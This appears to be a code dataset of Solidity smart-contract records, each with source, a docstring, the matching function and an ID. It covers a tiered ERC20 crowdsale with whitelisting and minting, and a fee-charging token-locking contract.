(optional) UUID v4 to track the successful payments on the server side * */ function investInternal(address receiver, uint128 customerId) private stopInEmergency { // Determine if it's a good time to accept investment from this participant if (getState() == State.PreFunding) { // Are we whitelisted for early deposit revert(); } else if (getState() == State.Funding) { // Retail participants can only come in when the crowdsale is running // pass if (isWhiteListed) { if (!earlyParticipantWhitelist[receiver].status) { revert(); } } } else { // Unwanted state revert(); } uint weiAmount = msg.value; // Account presale sales separately, so that they do not count against pricing tranches uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, tokensSold, token.decimals()); if (tokenAmount == 0) { // Dust transaction revert(); } if (isWhiteListed) { if (weiAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { // weiAmount < minCap for investor revert(); } // Check that we did not bust the investor's cap if (isBreakingInvestorCap(receiver, weiAmount)) { revert(); } updateInheritedEarlyParticipantWhitelist(receiver, weiAmount); } else { if (weiAmount < token.minCap() && tokenAmountOf[receiver] == 0) { revert(); } } if (investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); // Update totals weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); // Check that we did not bust the cap if (isBreakingCap(tokensSold)) { revert(); } assignTokens(receiver, tokenAmount); // Pocket the money if (!multisigWallet.send(weiAmount)) revert(); // Tell us invest was success emit Invested(receiver, weiAmount, tokenAmount, customerId); } /** * allocate tokens for the early investors. * * Preallocated tokens have been sold before the actual crowdsale opens. * This function mints the tokens and moves the crowdsale needle. * * Investor count is not handled; it is assumed this goes for multiple investors * and the token distribution happens outside the smart contract flow. * * No money is exchanged, as the crowdsale team already have received the payment. * * param weiPrice Price of a single full token in wei * */ function allocate(address receiver, uint256 tokenAmount, uint128 customerId, uint256 lockedTokenAmount) public onlyAllocateAgent { // cannot lock more than total tokens require(lockedTokenAmount <= tokenAmount); uint weiPrice = pricingStrategy.oneTokenInWei(tokensSold, token.decimals()); // This can be also 0, we give out tokens for free uint256 weiAmount = (weiPrice * tokenAmount)/10**uint256(token.decimals()); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); // assign locked token to Vesting contract if (lockedTokenAmount > 0) { tokenVesting = TokenVesting(tokenVestingAddress); // to prevent minting of tokens which will be useless as vesting amount cannot be updated require(!tokenVesting.isVestingSet(receiver)); assignTokens(tokenVestingAddress, lockedTokenAmount); // set vesting with default schedule tokenVesting.setVestingWithDefaultSchedule(receiver, lockedTokenAmount); } // assign remaining tokens to contributor if (tokenAmount - lockedTokenAmount > 0) { assignTokens(receiver, tokenAmount - lockedTokenAmount); } // Tell us invest was success emit Invested(receiver, weiAmount, tokenAmount, customerId); } // // Modifiers // /** Modified allowing execution only if the crowdsale is currently running. */ modifier inState(State state) { if (getState() != state) revert(); _; } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if (finalized) { revert(); } // Finalizing is optional. We only call it if we are given a finalizing agent. if (address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public view returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public view returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } /** * Finalize a succcesful crowdsale. * * The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens. */ function finalize() public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if (finalized) { revert(); } // Finalizing is optional. We only call it if we are given a finalizing agent. if (address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } /** * Allow to (re)set finalize agent. * * Design choice: no state restrictions on setting this, so that we can fix fat finger mistakes. */ function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; // Don't allow setting bad agent if (!finalizeAgent.isFinalizeAgent()) { revert(); } } /** * Allow addresses to do early participation. */ function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) revert(); assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); emit Whitelisted(addr, status, minCap, maxCap); } else { emit WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) revert(); assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateEarlyParticipantWhitelist(address addr, uint weiAmount) public { if (!isWhiteListed) revert(); assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (weiAmount < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) revert(); //if (addr != msg.sender && contractAddr != msg.sender) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(weiAmount); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function updateInheritedEarlyParticipantWhitelist(address reciever, uint weiAmount) private { if (!isWhiteListed) revert(); if (weiAmount < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) revert(); uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, weiAmount); } } function isAddressWhitelisted(address addr) public view returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public view returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public view returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public view returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public view returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); // Don't change past assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) revert(); uint8 tierPosition = getTierPosition(this); //start time should be greater then end time of previous tiers for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; emit StartsAtChanged(startsAt); } /** * Allow crowdsale owner to close early or extend the crowdsale. * * This is useful e.g. for a manual soft cap implementation: * - after X amount is reached determine manual closing * * This may put the crowdsale to an invalid state, * but we trust owners know what they are doing. * */ function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time);// Don't change past assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) revert(); uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; emit EndsAtChanged(endsAt); } /** * Allow to (re)set pricing strategy. * * Design choice: no state restrictions on the set, so that we can fix fat finger mistakes. */ function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; // Don't allow setting bad agent if (!pricingStrategy.isPricingStrategy()) { revert(); } } /** * Allow to (re)set Token. * @param _token upgraded token address */ function setCrowdsaleTokenExtv1(address _token) public onlyOwner { assert(_token != address(0)); token = FractionalERC20Ext(_token); if (address(finalizeAgent) != address(0)) { finalizeAgent.setCrowdsaleTokenExtv1(_token); } } /** * Allow to change the team multisig address in the case of emergency. * * This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun * (we have done only few test transactions). After the crowdsale is going * then multisig address stays locked for the safety reasons. */ function setMultisig(address addr) public onlyOwner { // Change if (investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { revert(); } multisigWallet = addr; } /** * @return true if the crowdsale has raised enough money to be a successful. */ function isMinimumGoalReached() public view returns (bool reached) { return weiRaised >= minimumFundingGoal; } /** * Check if the contract relationship looks good. */ function isFinalizerSane() public view returns (bool sane) { return finalizeAgent.isSane(); } /** * Check if the contract relationship looks good. */ function isPricingSane() public view returns (bool sane) { return pricingStrategy.isSane(); } /** * Crowdfund state machine management. * * We make it a function and do not assign the result to a variable, * so there is no chance of the variable being stale. */ function getState() public view returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane()) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } /** Interface marker. */ function isCrowdsale() public pure returns (bool) { return true; } // // Abstract functions // /** * Check if the current invested breaks our cap rules. * * * The child contract must define their own cap setting rules. * We allow a lot of flexibility through different capping strategies (ETH, token count) * Called from invest(). * * @param tokensSoldTotal What would be our total sold tokens count after this transaction * * @return true if taking this investment would break our cap rules */ function isBreakingCap(uint tokensSoldTotal) public view returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public view returns (bool limitBroken); /** * Check if the current crowdsale is full and we can no longer sell any tokens. */ function isCrowdsaleFull() public view returns (bool); /** * Create new tokens or transfer issued tokens to the investor depending on the cap model. */ function assignTokens(address receiver, uint tokenAmount) private; } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMathLibExt for uint; /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) public balances; /* approve() allowances */ mapping (address => mapping (address => uint)) public allowed; /* Interface declaration */ function isToken() public pure returns (bool weAre) { return true; } function transfer(address _to, uint _value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].minus(_value); balances[_to] = balances[_to].plus(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].plus(_value); balances[_from] = balances[_from].minus(_value); allowed[_from][msg.sender] = _allowance.minus(_value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; bool isVested; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool private reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if (!mintAgents[msg.sender]) { revert(); } _; } /** Make sure we are not done yet. */ modifier canMint() { if (mintingFinished) revert(); _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public view returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public view returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public view returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public view returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public view returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function getReservedIsVested(address addr) public view returns (bool isVested) { return reservedTokensList[addr].isVested; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals, bool[] isVested ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList( addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator], isVested[iterator] ); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) public onlyMintAgent canMint { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event emit Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) public onlyOwner canMint { mintAgents[addr] = state; emit MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals,bool isVested) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false, isVested:isVested }); } } /** * ICO crowdsale contract that is capped by amout of tokens. * * - Tokens are dynamically created during the crowdsale * * */ contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { /* Maximum amount of tokens this crowdsale can sell. */ uint public maximumSellableTokens; constructor( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed, address _tokenVestingAddress ) public CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed, _tokenVestingAddress) { maximumSellableTokens = _maximumSellableTokens; } // Crowdsale maximumSellableTokens has been changed event MaximumSellableTokensChanged(uint newMaximumSellableTokens); /** * Called from invest() to confirm if the curret investment does not break our cap rule. */ function isBreakingCap(uint tokensSoldTotal) public view returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint weiAmount) public view returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (investedAmountOf[addr].plus(weiAmount)) > maxCap; } function isCrowdsaleFull() public view returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; emit MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint oneTokenInCents) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(oneTokenInCents); } /** * Dynamically create tokens and assign them to the investor. */ function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } } /** * ICO crowdsale contract that is capped by amout of tokens. * * - Tokens are dynamically created during the crowdsale * * */ contract MintedTokenCappedCrowdsaleExtv1 is MintedTokenCappedCrowdsaleExt { address[] public investedAmountOfAddresses; MintedTokenCappedCrowdsaleExt public mintedTokenCappedCrowdsaleExt; constructor( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed, address _tokenVestingAddress, MintedTokenCappedCrowdsaleExt _oldMintedTokenCappedCrowdsaleExtAddress ) public MintedTokenCappedCrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _maximumSellableTokens, _isUpdatable, _isWhiteListed, _tokenVestingAddress) { mintedTokenCappedCrowdsaleExt = _oldMintedTokenCappedCrowdsaleExtAddress; tokensSold = mintedTokenCappedCrowdsaleExt.tokensSold(); weiRaised = mintedTokenCappedCrowdsaleExt.weiRaised(); investorCount = mintedTokenCappedCrowdsaleExt.investorCount(); for (uint i = 0; i < mintedTokenCappedCrowdsaleExt.whitelistedParticipantsLength(); i++) { address whitelistAddress = mintedTokenCappedCrowdsaleExt.whitelistedParticipants(i); //whitelistedParticipants.push(whitelistAddress); uint256 tokenAmount = mintedTokenCappedCrowdsaleExt.tokenAmountOf(whitelistAddress); if (tokenAmount != 0){ tokenAmountOf[whitelistAddress] = tokenAmount; } uint256 investedAmount = mintedTokenCappedCrowdsaleExt.investedAmountOf(whitelistAddress); if (investedAmount != 0){ investedAmountOf[whitelistAddress] = investedAmount; } //setEarlyParticipantWhitelist(whitelistAddress, true, 1000000000000000000, 1000000000000000000000); } } }
Allow crowdsale owner to close early or extend the crowdsale. This is useful e.g. for a manual soft cap implementation: - after X amount is reached determine manual closing This may put the crowdsale to an invalid state, but we trust owners know what they are doing./
function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) revert(); uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; emit EndsAtChanged(endsAt); }
10,038,971
/** *Submitted for verification at Etherscan.io on 2021-10-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); /* getRoundData and latestRoundData should both raise "No data present" */ /* if they do not have data to report, instead of returning unset values */ /* which could be misinterpreted as actual reported values. */ function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } /* Token Contract call and send Functions */ interface Token { function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function approveAndCall(address spender, uint tokens, bytes memory data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } contract Ownable { address public owner; event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { owner = payable(msg.sender); } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) onlyOwner public { require(_newOwner != address(0)); emit onOwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract LockNLoad is Ownable{ using SafeMath for uint256; /* Deposit Variables */ struct Items { address tokenAddress; address withdrawalAddress; uint256 tokenAmount; uint256 unlockTime; bool withdrawn; } uint256 public depositId; uint256[] public allDepositIds; mapping (address => uint256[]) public depositsByWithdrawalAddress; mapping (uint256 => Items) public lockedToken; mapping (address => mapping(address => uint256)) public walletTokenBalance; mapping(address => bool) public premiumMember; bool public premium = true; int private feerate = 1; uint256 systemFeeCollected; event LogWithdrawal(address SentToAddress, uint256 AmountTransferred); AggregatorV3Interface internal priceFeed; constructor() { priceFeed = AggregatorV3Interface(0x773616E4d11A78F511299002da57A0a94577F1f4); } /* Calculate 1$ Price from Blockchain */ function getLatestPrice() public view returns (uint256) { ( , int price, , , ) = priceFeed.latestRoundData(); return uint256(price); } /* Calculate the original Fee */ function getSystemFees() public view returns (uint256) { ( , int price, , , ) = priceFeed.latestRoundData(); return uint256(price*feerate); } /* Calculate Price for Multiple Locks */ function getSystemFeesBatch(uint256 _totalBatch) public view returns (uint256) { return(getSystemFees()*_totalBatch); } /* Lock the Tokens */ function lockTokens(address _tokenAddress, address _withdrawalAddress, uint256 _amount, uint256 _unlockTime) public payable returns (uint256 _id) { require(_amount > 0); require(_unlockTime < 10000000000); uint256 fee = getSystemFees(); if(premium){ if(!premiumMember[_withdrawalAddress]){ require(msg.value>=fee,"System Fee Required"); payable(owner).transfer(msg.value); systemFeeCollected = systemFeeCollected + msg.value; } } /* update balance in address */ walletTokenBalance[_tokenAddress][_withdrawalAddress] = walletTokenBalance[_tokenAddress][_withdrawalAddress].add(_amount); _id = ++depositId; lockedToken[_id].tokenAddress = _tokenAddress; lockedToken[_id].withdrawalAddress = _withdrawalAddress; lockedToken[_id].tokenAmount = _amount; lockedToken[_id].unlockTime = _unlockTime; lockedToken[_id].withdrawn = false; allDepositIds.push(_id); depositsByWithdrawalAddress[_withdrawalAddress].push(_id); /* transfer tokens into contract */ require(Token(_tokenAddress).transferFrom(msg.sender, address(this), _amount)); } /* Create Multiple Locks */ function createMultipleLocks(address _tokenAddress, address _withdrawalAddress, uint256[] memory _amounts, uint256[] memory _unlockTimes) public payable returns (uint256 _id) { require(_amounts.length > 0); require(_amounts.length == _unlockTimes.length); uint256 fee = getSystemFees() * _amounts.length; if(premium){ if(!premiumMember[_withdrawalAddress]){ require(msg.value>=fee,"System Fee Required"); payable(owner).transfer(msg.value); systemFeeCollected = systemFeeCollected + msg.value; } } uint256 i; for(i=0; i<_amounts.length; i++){ require(_amounts[i] > 0); require(_unlockTimes[i] < 10000000000); /* update balance in address */ walletTokenBalance[_tokenAddress][_withdrawalAddress] = walletTokenBalance[_tokenAddress][_withdrawalAddress].add(_amounts[i]); _id = ++depositId; lockedToken[_id].tokenAddress = _tokenAddress; lockedToken[_id].withdrawalAddress = _withdrawalAddress; lockedToken[_id].tokenAmount = _amounts[i]; lockedToken[_id].unlockTime = _unlockTimes[i]; lockedToken[_id].withdrawn = false; allDepositIds.push(_id); depositsByWithdrawalAddress[_withdrawalAddress].push(_id); /* transfer tokens into contract */ require(Token(_tokenAddress).transferFrom(msg.sender, address(this), _amounts[i])); } } /* Extend the Lock Duration */ function extendLockDuration(uint256 _id, uint256 _unlockTime) public { require(_unlockTime < 10000000000); require(_unlockTime > lockedToken[_id].unlockTime); require(!lockedToken[_id].withdrawn); require(msg.sender == lockedToken[_id].withdrawalAddress); /* set new unlock time */ lockedToken[_id].unlockTime = _unlockTime; } /* Transfer the Locked Tokens */ function transferLocks(uint256 _id, address _receiverAddress) public { require(!lockedToken[_id].withdrawn); require(msg.sender == lockedToken[_id].withdrawalAddress); /* decrease sender's token balance */ walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount); /* increase receiver's token balance */ walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress] = walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress].add(lockedToken[_id].tokenAmount); /* remove this id from sender address */ uint256 j; uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length; for (j=0; j<arrLength; j++) { if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) { depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1]; depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop(); break; } } /* Assign this id to receiver address */ lockedToken[_id].withdrawalAddress = _receiverAddress; depositsByWithdrawalAddress[_receiverAddress].push(_id); } /* Withdraw Tokens */ function withdrawTokens(uint256 _id) public { require(block.timestamp >= lockedToken[_id].unlockTime); require(msg.sender == lockedToken[_id].withdrawalAddress); require(!lockedToken[_id].withdrawn); lockedToken[_id].withdrawn = true; /* update balance in address */ walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount); /* remove this id from this address */ uint256 j; uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length; for (j=0; j<arrLength; j++) { if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) { depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1]; depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop(); break; } } /* transfer tokens to wallet address */ require(Token(lockedToken[_id].tokenAddress).transfer(msg.sender, lockedToken[_id].tokenAmount)); emit LogWithdrawal(msg.sender, lockedToken[_id].tokenAmount); } /* Get Total Token Balance in Contract */ function getTotalTokenBalance(address _tokenAddress) view public returns (uint256) { return Token(_tokenAddress).balanceOf(address(this)); } /* Get Total Token Balance by Address */ function getTokenBalanceByAddress(address _tokenAddress, address _walletAddress) view public returns (uint256) { return walletTokenBalance[_tokenAddress][_walletAddress]; } /* Get All Deposit IDs */ function getAllDepositIds() view public returns (uint256[] memory) { return allDepositIds; } /* Get Deposit Details */ function getDepositDetails(uint256 _id) view public returns (address _tokenAddress, address _withdrawalAddress, uint256 _tokenAmount, uint256 _unlockTime, bool _withdrawn) { return(lockedToken[_id].tokenAddress,lockedToken[_id].withdrawalAddress,lockedToken[_id].tokenAmount, lockedToken[_id].unlockTime,lockedToken[_id].withdrawn); } /* Get Deposit Details by Withdrawal Address */ function getDepositsByWithdrawalAddress(address _withdrawalAddress) view public returns (uint256[] memory) { return depositsByWithdrawalAddress[_withdrawalAddress]; } /* Turn Premium Feature ON or OFF */ function turnPremiumFeature() public onlyOwner returns (bool success) { if (premium) { premium = false; } else { premium = true; } return true; } /* View BNB Balance */ function bnbBalance() public view returns (uint256){ return address(this).balance; } /* Update fee Rate with respect to $ */ function updateFeeRate(int _feerate) public onlyOwner returns (bool success){ feerate = _feerate; return true; } /* Only Recieve Token for Lock */ receive() payable external { payable(owner).transfer(msg.value); } }
Get All Deposit IDs /
function getAllDepositIds() view public returns (uint256[] memory) { return allDepositIds; }
7,651,987
